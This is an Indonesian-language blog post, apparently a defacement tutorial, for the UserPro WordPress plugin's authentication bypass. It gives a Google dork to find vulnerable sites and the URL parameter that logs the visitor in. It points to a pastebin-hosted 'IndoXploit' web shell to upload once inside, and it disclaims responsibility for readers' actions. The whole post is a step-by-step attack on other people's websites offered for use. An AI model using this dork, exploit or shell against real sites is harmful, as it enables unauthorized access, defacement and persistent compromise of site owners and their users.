WordPress Plugin Userpro - Authentication Bypass

WordPress Plugin Userpro - Authentication Bypass

Assalamualaikum Wr.Wb

Baiklah kembali lagi dengan saya Mr.Adewa
Pada kali ini saya akan memberikan Tutorial Deface WordPress Plugin Userpro - Authentication Bypass

Sebelum itu kita harus mempersiapkan sesuatu
-Dork

inurl:/plugins/userpto

-Shel
Gunakan shel IndoXploit saja

https://pastebin.com/raw/fnXXcFC2

-Exploit :

/?up_auto_log=true 

Saya rasa kalian sudah punya kedua alat tempur tersebut.

1. Dorking di google : inurl:/plugins/userpto

2. Jika sudah masukkan exploitnya seperti ini /?up_auto_log=true
Contoh : site.com/?up_auto_log=true

3. Jika sukses akan ada login atau masuk ke dalam wordpress tersebut

4. Selanjutnya sesuka kalian aja, mau kalian upload shell atau tidak itu bukan urusan saya

Mungkin itulah sedikit penjelasan mengenai "WordPress Plugin Userpro - Authentication Bypass"
Jika kurang paham kalian bisa bertanya di bawah ini

Jika kurang paham nonton aja video di bawah ini

Sekian dan Terimakasih
Segala sesuatu di tanggung sendiri, blog ini di buat untuk belajar bersama
Wassalamualaikum Wr.Wb